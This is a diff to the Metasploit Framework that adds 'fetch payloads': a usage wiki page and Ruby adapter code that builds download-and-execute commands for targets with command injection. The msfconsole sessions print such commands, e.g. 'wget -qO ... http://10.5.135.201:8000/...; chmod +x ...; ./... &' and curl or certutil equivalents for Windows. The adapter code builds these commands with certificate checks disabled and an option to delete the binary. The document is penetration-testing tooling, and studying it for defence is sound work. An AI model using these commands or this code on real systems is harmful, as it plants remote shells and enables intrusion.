diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md new file mode 100644 index 0000000000..2a0efdc598 --- /dev/null +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -0,0 +1,333 @@ +# Fetch Payloads + +## What Are Fetch Payloads? +Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary +payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of +existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and +transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and +server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side +to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a +command injection or code execution vulnerability *and* a known binary with the ability to download and store +a file. + +## Terminology +In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing. +`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload` +`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET, +cURL, or Certutil. +`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP. +`Fetch Listener` - The server hosting the served payload. +`Fetch Handler` - The same as `Fetch Listener` +`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`. +`Served Payload Handler` - The handler for the served payload. This is just a standard payload like +`meterpreter/reverse_tcp` or `shell_reverse_tcp`. + +## Organization +Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support +HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the +remote host to download the served payload prior to execution. + +Here is the naming convention for fetch payloads: +`///served_payload` +For example: +`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things: +1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload. +2) Serve the above served payload on an HTTPS server +3) Start a served payload handler for the served payload to call back to +4) Generate a command to execute on a remote host that will download the served payload and run it. + + +## A Simple Stand-Alone Example +The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux +target with the ability to connect back to us with an HTTP connection and a command execution vulnerability. +First, let's look at the payload in isolation: +```msf +msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options + +Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) +FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload +FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload +FETCH_SRVPORT 8080 yes Local port to use for serving payload +FETCH_URIPATH no Local URI to use for serving payload +FETCH_WRITABLE_DIR yes Remote writable dir to store payload +LHOST yes The listen address (an interface may be specified) +LPORT 4444 yes The listen port + + +View the full module info with the info, or info -d command. + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +### Options +`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the +supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get +into more details on the binaries later. +`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not +supported by every binary and must end in `.exe` on Windows hosts. The default value is random. +`FETCH_SRVHOST` is the IP where the server will listen. +`FETCH_SRVPORT` is the port where the server will listen. +`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the +underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying +served payload is the same. +`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution. +This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error. + +The remaining options will be the options available to you in the served payload; in this case our served payload is +`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different +payload, we would see different options. + +### Generating the Fetch Payload +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET +FETCH_COMMAND => WGET +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201 +FETCH_SRVHOST => 10.5.135.201 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000 +FETCH_SRVPORT => 8000 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201 +LHOST => 10.5.135.201 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567 +LPORT => 4567 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw +wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH & +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +You can see the fetch payload generated: +`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &` +This command downloads the served payload, marks it as executable, and then executes it on the remote host. + +### Starting the Fetch Server +When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the +served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are +started: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler +[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV & +[*] Payload Handler Started as Job 0 +[*] Fetch Handler listening on 10.5.135.201:8000 +[*] http server started +[*] Started reverse TCP handler on 10.5.135.201:4567 +``` + +### Fetch Handlers and Served Payload Handlers +The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under +`Jobs`, even though the Fetch Handler is listening: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567 + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +[*] exec: netstat -ant | grep 8000 + +tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN + +``` +Killing the Served Payload handler will kill the Fetch Handler as well: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0 +[*] Stopping the following job(s): 0 +[*] Stopping job 0 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +[*] exec: netstat -ant | grep 8000 + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +## Using Fetch Payloads on the Fly +One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly, +without relying on a session in framework or having to get a payload on target. If you have a shell session or even a +really odd situation where you can execute commands, you can get a session in framework quickly without having to upload +a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are +Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial. + +## Using it in an exploit +Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch +payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or +`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as +the command to execute on the remote target. + +### Example paired with CmdStager +There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support +both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command +stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command +stagers or to use fetch payloads in the style of command stagers, which I suggest you do. + +In this case, I've modified the code provided in the command stager documentation to support both linux and unix command +payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic: +``` ruby +'Targets' => + [ + [ 'Linux Command', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'unix', 'linux' ], + 'Type' => :nix_cmd + } + ] + ] +``` + +For the `execute_command` method, nothing changes: + +``` ruby +def execute_command(cmd, _opts = {}) +populate_values if @sid.nil? || @token.nil? +uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri), + 'cookie' => 'sid=' + @sid, + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => true, + 'vars_post' => { + 'token' => @token, + 'text' => cmd, + 'hhook' => 'exec', + 'sid' => @sid + } + }) +end +``` + +The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else +needs to change. + +``` ruby + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :nix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end +``` + +If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads +like Fetch Payloads, you can simply add the `linux` value to the platform array: + +``` ruby +'Nix Command', + { + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + } +``` + +## Supported Commands +### Windows And Linux Both +#### `CURL` +cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very +standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows +targets. All options and server protocol types are supported by the cURL command. + +#### `TFTP` +The TFTP binary is useful only in edge cases because of a long list of limitations: +1) It is a Windows feature, but it is turned off by default on Windows Vista and later. +2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases. +3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured, +nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and +`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I +suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect +the connection with a tool like iptables to a high port. +For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection +on UDP port 69 to UDP port 3069: +`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069` +`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069` +Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly. +4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you +start a tftp fetch handler, a new service will start: +```msf +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 + +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445 +LPORT => 4445 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler + +[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe +[*] Payload Handler Started as Job 4 + +[*] starting tftpserver on 10.5.135.201:8080 +[*] Started reverse TCP handler on 10.5.135.201:4445 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 + 4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445 + +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +[*] exec: netstat -an | grep 8080 + +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4 +FETCH_URIPATH => test4 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547 +LPORT => 8547 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler + +[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe +[*] Payload Handler Started as Job 5 + +[*] starting tftpserver on 10.5.135.201:8080 +[*] Started reverse TCP handler on 10.5.135.201:8547 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +[*] exec: netstat -an | grep 8080 + +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* + +``` +There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port, +and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is +non-deterministic. + + +### Windows Only +#### `Certutil` +Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is +highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using +Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS` +protocols. + +### Linux Only +#### `FTP` +FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases +of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it +may not be appropriate for older systems. + +#### `TNFTP` +TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are +present on a system, so the command will be `tnftp` rather than `ftp`. + +#### WGET +WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options. +It is ubiquitous on Linux hosts and very standard, making it an excellent choice. \ No newline at end of file diff --git a/docs/navigation.rb b/docs/navigation.rb index 0eec8643f4..d20bbba9ab 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -526,6 +526,10 @@ NAVIGATION_CONFIG = [ { path: 'How-to-use-command-stagers.md' }, + { + path: 'How-to-use-fetch-payloads.md', + title: 'How to use Fetch Payloads' + }, { old_wiki_path: 'How-to-write-a-check()-method.md', path: 'How-to-write-a-check-method.md' diff --git a/lib/msf/core/exploit/remote/smb/client/psexec.rb b/lib/msf/core/exploit/remote/smb/client/psexec.rb index d74ddd53aa..79fa58a0ba 100644 --- a/lib/msf/core/exploit/remote/smb/client/psexec.rb +++ b/lib/msf/core/exploit/remote/smb/client/psexec.rb @@ -223,7 +223,6 @@ module Exploit::Remote::SMB::Client::Psexec text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt" bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat" command = payload.encoded - output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY']) unless output.nil? @@ -242,8 +241,9 @@ module Exploit::Remote::SMB::Client::Psexec def execute_command(text, bat, cmd) # Try and execute the provided command + cmd = cmd.gsub('&', '^&') execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" - vprint_status("Executing the command...") + vprint_status("Executing the command: #{execute}") begin return psexec(execute) rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb new file mode 100644 index 0000000000..68118208e2 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -0,0 +1,342 @@ +module Msf::Payload::Adapter::Fetch + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), + Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), + Msf::OptAddressLocal.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]), + Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) + ] + ) + register_advanced_options( + [ + Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), + Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), + Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]), + Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache']) + ] + ) + @delete_resource = true + @fetch_service = nil + @myresources = [] + @srvexe = '' + @remote_destination_win = nil + @remote_destination_nix = nil + @windows = nil + + end + + def check_srvhost + if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 + raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP' + end + end + + def compatible?(mod) + if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space + return false + end + super + end + + + # If no fetch URL is provided, we generate one based off the underlying payload data + # This is because if we use a randomly-generated URI, the URI generated by venom and + # Framework will not match. This way, we can build a payload in venom and a listener + # in Framework, and if the underlying payload type/host/port are the same, the URI + # will be, too. + # + def default_srvuri + # If we're in framework, payload is in datastore; msfvenom has it in refname + payload_name = datastore['payload'] ||= refname + decoded_uri = payload_name.dup + # there may be no transport, so leave the connection string off if that's the case + netloc = '' + if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['LPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['LPORT']}" + else + netloc = "#{netloc}:#{datastore['LPORT']}" + end + end + elsif module_info['ConnectionType'].upcase == 'BIND' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['RPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['RPORT']}" + else + netloc = "#{netloc}:#{datastore['RPORT']}" + end + end + end + decoded_uri << ";#{netloc}" + Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false) + end + + def download_uri + "#{srvnetloc}/#{srvuri}" + end + + def fetch_bindhost + datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress'] + end + + def fetch_bindport + datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] + end + + def generate(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + opts[:code] = super + check_srvhost + @srvexe = generate_payload_exe(opts) + cmd = generate_fetch_commands + vprint_status("Command to run on remote host: #{cmd}") + cmd + end + + def generate_fetch_commands + # TODO: Make a check method that determines if we support a platform/server/command combination + # + case datastore['FETCH_COMMAND'].upcase + when 'FTP' + return _generate_ftp_command + when 'TNFTP' + return _generate_tnftp_command + when 'WGET' + return _generate_wget_command + when 'CURL' + return _generate_curl_command + when 'TFTP' + return _generate_tftp_command + when 'CERTUTIL' + return _generate_certutil_command + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def generate_stage(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end + + def generate_payload_uuid(conf = {}) + conf[:arch] ||= module_info['AdaptedArch'] + conf[:platform] ||= module_info['AdaptedPlatform'] + super + end + + def handle_connection(conn, opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end + + def srvhost + datastore['FETCH_SRVHOST'] + end + + def srvnetloc + netloc = srvhost + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{srvport}" + else + netloc = "#{netloc}:#{srvport}" + end + netloc + end + + def srvport + datastore['FETCH_SRVPORT'] + end + + def srvuri + return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + default_srvuri + end + + def srvname + datastore['FetchServerName'] + end + + def windows? + return @windows unless @windows.nil? + @windows = platform.platforms.first == Msf::Module::Platform::Windows + @windows + end + + def _check_tftp_port + # Most tftp clients do not have configurable ports + if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank? + print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client') + end + end + + def _check_tftp_file + # Older Linux tftp clients do not support saving the file under a different name + unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank? + print_error('The Linux TFTP client does not support saving a file under a different name than the URI.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client') + end + end + + # copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb + def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) + comm = nil + + case srv_comm + when 'local' + comm = ::Rex::Socket::Comm::Local + when /\A-?[0-9]+\Z/ + comm = framework.sessions.get(srv_comm.to_i) + raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm + raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm + when nil, '' + unless ip.nil? + comm = Rex::Socket::SwitchBoard.best_comm(ip) + end + else + raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid") + end + + comm || ::Rex::Socket::Comm::Local + end + + def _execute_add + return _execute_win if windows? + return _execute_nix + end + + def _execute_win + cmds = " & start /B #{_remote_destination_win}" + cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE'] + cmds + end + + def _execute_nix + cmds = "; chmod +x #{_remote_destination_nix}" + cmds << "; #{_remote_destination_nix} &" + cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds + end + + def _generate_certutil_command + case fetch_protocol + when 'HTTP' + cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" + when 'HTTPS' + # I don't think there is a way to disable cert check in certutil.... + print_error('CERTUTIL binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') + cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + def _generate_curl_command + case fetch_protocol + when 'HTTP' + cmd = "curl -so #{_remote_destination} http://#{download_uri}" + when 'HTTPS' + cmd = "curl -sko #{_remote_destination} https://#{download_uri}" + when 'TFTP' + cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + + def _generate_ftp_command + case fetch_protocol + when 'FTP' + cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_tftp_command + _check_tftp_port + case fetch_protocol + when 'TFTP' + if windows? + cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}" + else + _check_tftp_file + cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + end + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + end + + def _generate_tnftp_command + case fetch_protocol + when 'FTP' + cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_wget_command + case fetch_protocol + when 'HTTPS' + cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" + when 'HTTP' + cmd = "wget -qO #{_remote_destination} http://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + def _remote_destination + return _remote_destination_win if windows? + return _remote_destination_nix + end + + def _remote_destination_nix + return @remote_destination_nix unless @remote_destination_nix.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir = '.' if writable_dir.blank? + writable_dir += '/' unless writable_dir[-1] == '/' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + @remote_destination_nix = payload_path + @remote_destination_nix + end + + def _remote_destination_win + return @remote_destination_win unless @remote_destination_win.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe' + @remote_destination_win = payload_path + @remote_destination_win + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb new file mode 100644 index 0000000000..6f2eecc7f8 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -0,0 +1,23 @@ +module Msf::Payload::Adapter::Fetch::HTTP + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::HTTP + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_http_fetch_service(@fetch_service, @delete_resource) + super + end + + def setup_handler + @fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb new file mode 100644 index 0000000000..d832671255 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -0,0 +1,22 @@ +module Msf::Payload::Adapter::Fetch::Https + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::Https + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_http_fetch_service(@fetch_service, @delete_resource) + super + end + + def setup_handler + @fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb new file mode 100644 index 0000000000..4c162e934a --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -0,0 +1,13 @@ +module Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super(update_info(info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } + )) + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]) + ] + ) + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb new file mode 100644 index 0000000000..74556663dc --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -0,0 +1,24 @@ +module Msf::Payload::Adapter::Fetch::Server::HTTP + include Msf::Payload::Adapter::Fetch::Server::Https + + # This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin. + # We just remove the HTTPS Options so the user does not see them. + # + + def initialize(*args) + super + deregister_options('FETCH_SSL', + 'FETCH_CHECK_CERT', + 'FetchSSLCert', + 'FetchSSLCompression', + 'FetchSSLCipher', + 'FetchSSLCipher', + 'FetchSSLVersion' + ) + end + + def fetch_protocol + 'HTTP' + end + +end diff --git a/lib/msf/core/payload/adapter/fetch/server/https.rb b/lib/msf/core/payload/adapter/fetch/server/https.rb new file mode 100644 index 0000000000..47127b4750 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/https.rb @@ -0,0 +1,153 @@ +module Msf::Payload::Adapter::Fetch::Server::Https + + # This mixin supports both HTTP and HTTPS fetch handlers. If you only want + # HTTP, use the HTTP mixin that imports this, but removes the HTTPS options + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false]) + + ] + ) + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']), + Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']), + Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]), + Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']), + Msf::OptEnum.new('FetchSSLVersion', + 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', + 